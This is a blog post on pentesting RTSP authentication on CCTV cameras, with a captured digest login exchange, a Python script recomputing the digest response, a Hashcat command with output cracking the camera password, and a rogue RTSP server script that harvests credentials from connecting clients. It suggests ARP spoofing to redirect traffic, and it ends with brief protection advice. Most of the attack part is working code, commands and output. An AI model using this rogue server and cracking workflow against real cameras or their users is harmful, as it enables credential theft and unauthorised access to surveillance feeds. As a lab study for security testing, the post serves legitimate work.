[Pentesting] RTSP (CCTV cameras) auth

RTSP protocol auth was influenced by HTTP auth and/or by SIP auth (see RFC3261).

Please first read about HTTP auth: 1, 2, 3.

Basic auth

RTSP with basic auth is insecure (unless happens via SSL/TLS), login and password are encoded by base64, as in HTTP basic auth.

Real (digest) exchange

Now the (digest) exchange I recorded with wireshark. The camera was working at the URL: rtsp://192.168.1.118:554. The login:password is admin:Admin12345.

Client to camera:

OPTIONS rtsp://192.168.1.118:554 RTSP/1.0
CSeq: 1
User-Agent: Lavf61.7.100

Camera to client:

RTSP/1.0 200 OK
CSeq: 1
Public: OPTIONS, DESCRIBE, PLAY, PAUSE, SETUP, TEARDOWN, SET_PARAMETER, GET_PARAMETER
Date:  Fri, Nov 21 2025 11:34:44 GMT

Client to camera:

DESCRIBE rtsp://192.168.1.118:554 RTSP/1.0
Accept: application/sdp
CSeq: 2
User-Agent: Lavf61.7.100

Camera to client:

RTSP/1.0 401 Unauthorized
CSeq: 2
WWW-Authenticate: Digest realm="IP Camera(G6822)", nonce="3d2a9ee3abcdf64a398ea4fc66a6ec2c", stale="FALSE"
Date:  Fri, Nov 21 2025 11:34:44 GMT

Client to camera:

DESCRIBE rtsp://192.168.1.118:554 RTSP/1.0
Accept: application/sdp
CSeq: 3
User-Agent: Lavf61.7.100
Authorization: Digest username="admin", realm="IP Camera(G6822)", nonce="3d2a9ee3abcdf64a398ea4fc66a6ec2c", uri="rtsp://192.168.1.118:554", response="a7d182d67c89c0956a356143d3b3bc94"

Camera to client (and the stream begin):

RTSP/1.0 200 OK
CSeq: 3
Content-Type: application/sdp
Content-Base: rtsp://192.168.1.118:554/
Content-Length: 716

v=0
o=- 1763724884211513 1763724884211513 IN IP4 192.168.1.118
s=Media Presentation
e=NONE
b=AS:5100
t=0 0
a=control:rtsp://192.168.1.118:554/
m=video 0 RTP/AVP 96
...

Using (maybe) ARP spoof, you can reroute client's requests to your (rogue) host and record all that data.

Digest auth algorithm

This is how response is calculated by both client and server:

#!/usr/bin/env python3

import hashlib, sys

def my_md5(msg):
    return hashlib.md5(msg.encode('utf-8')).hexdigest()

username="admin"
password="Admin12345"
realm="IP Camera(G6822)"
nonce="3d2a9ee3abcdf64a398ea4fc66a6ec2c"
uri="rtsp://192.168.1.118:554"
    
HA2=my_md5("DESCRIBE:"+uri)
HA1=my_md5(username+":"+realm+":"+password)
RESPONSE=my_md5(HA1+":"+nonce+":"+HA2)

print (RESPONSE)

It correctly calculates response:

a7d182d67c89c0956a356143d3b3bc94

Using this Python code, you can enumerate passwords and wait until you'll get correct response you've seen in exchange. But of course, this is slow.

Hashcat

The string for Hashcat (mode 11400):

$sip$***user*realm*DESCRIBE**uri**nonce****MD5*response

In our case this is:

$sip$***admin*IP Camera(G6822)*DESCRIBE**rtsp://192.168.1.118:554**3d2a9ee3abcdf64a398ea4fc66a6ec2c****MD5*a7d182d67c89c0956a356143d3b3bc94

Save this to hash.txt and run Hashcat:

hashcat -m 11400 -a 3 hash.txt -w 3 "?u?l?l?l?l?d?d?d?d?d"

Since I 'helped' Hashcat with mask I knew beforehand, it cracked the password quickly:

...

$sip$***admin*IP Camera(G6822)*DESCRIBE**rtsp://192.168.1.118:554**3d2a9ee3abcdf64a398ea4fc66a6ec2c****MD5*a7d182d67c89c0956a356143d3b3bc94:Admin12345

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 11400 (SIP digest authentication (MD5))
Hash.Target......: $sip$***admin*IP Camera(G6822)*DESCRIBE**rtsp://192...b3bc94
Time.Started.....: Mon Nov 24 14:00:16 2025 (1 sec)
Time.Estimated...: Mon Nov 24 14:00:17 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Mask.......: ?u?l?l?l?l?d?d?d?d?d [10]
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 88831.4 kH/s (61.94ms) @ Accel:1024 Loops:512 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 81788928/1188137600000 (0.01%)
Rejected.........: 0/81788928 (0.00%)
Restore.Point....: 0/67600000 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:6144-6656 Iteration:0-512
Candidate.Engine.: Device Generator
Candidates.#1....: Peber12345 -> Xkrgl71234
Hardware.Mon.#1..: Temp: 73c Util: 94%

...

Rogue host

You can set up rogue host and reroute all traffic to it. And client may try to login using basic auth if the server (fake camera) asking for basic auth.

#!/usr/bin/env python3

import socket, hexdump, sys, datetime

# Can be used as honeypot, to gather l/p's

HOST=''
PORT=554
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.bind((HOST, PORT))
    while True:
        s.listen(1)
        conn, addr=s.accept()
        with conn:
            try:
                print("Connected:", addr, datetime.datetime.today())
                data=conn.recv(1024)
                print ("Got:")
                print (data)
                #hexdump.hexdump(data)

                conn.send(b"RTSP/1.0 401 Unauthorized\r\n")
                conn.send(b"CSeq: 2\r\n")
                #conn.send(b"WWW-Authenticate: Digest realm=\"testrealm\", nonce=\"000\"\r\n")
                conn.send(b"WWW-Authenticate: Basic realm=\"testrealm\"\r\n")
                conn.send(b"\r\n")

                print ("401 msg sent")

                data=conn.recv(1024)
                print ("Got:")
                #hexdump.hexdump(data)
                print (data)
                sys.stdout.flush()
            except ConnectionResetError:
                print ("ConnectionResetError")
            except TimeoutError:
                print ("TimeoutError")
            conn.close()

The client, like ffplay or VLC may agree to login using basic auth:

 % sudo ./rogue_RTSP_serv.py
Connected: ('127.0.0.1', 57646)
Got:
b'OPTIONS rtsp://localhost:554 RTSP/1.0\r\nCSeq: 1\r\nUser-Agent: Lavf61.1.100\r\n\r\n'
401 msg sent
Got:
b'OPTIONS rtsp://localhost:554 RTSP/1.0\r\nCSeq: 2\r\nUser-Agent: Lavf61.1.100\r\nAuthorization: Basic Zm9vOmJhcg==\r\n\r\n'

If a client is smart and/or secure, it will not allow basic auth and drop connection. Then, switch your rogue host to digest auth:

 % sudo ./rogue_RTSP_serv.py
Connected: ('127.0.0.1', 46434)
Got:
b'OPTIONS rtsp://localhost:554 RTSP/1.0\r\nCSeq: 1\r\nUser-Agent: Lavf61.1.100\r\n\r\n'
401 msg sent
Got:
b'OPTIONS rtsp://localhost:554 RTSP/1.0\r\nCSeq: 2\r\nUser-Agent: Lavf61.1.100\r\nAuthorization: Digest username="foo", realm="testrealm", nonce="000", uri="rtsp://localhost:554", response="9aa60d853244409327c1dea89b93b247"\r\n\r\n'

And try Hashcat with this data.

Protection

As usual -- latest firmware updates, long and secure passwords. At least digest auth is to be set in CCTV camera and clients. SSL/TLS is very advised.

Usually, TLS cert is generated in camera during installation. Fetch it and use with your client(s). Don't be lazy -- this will thwart ARP spoof attackers. (Well, most of attackers, except highly motivated and sophisticated.)

(the post first published at 20251124.)


List of my other blog posts.

Subscribe to my news feed,

Some time ago (before 24-Mar-2025) there was Disqus JS script for comments. I dropped it --- it was so motley, distracting, animated, with too much ads. I never liked it. Also, comments didn"t appeared correctly (Disqus was buggy). Also, my blog is too chamberlike --- not many people write comments here. So I decided to switch to the model I once had at least in 2020 --- send me your comments by email (don"t forget to include URL to this blog post) and I"ll copy&paste it here manually.

Let"s party like it"s ~1993-1996, in this ultimate, radical and uncompromisingly primitive pre-web1.0-style blog and website.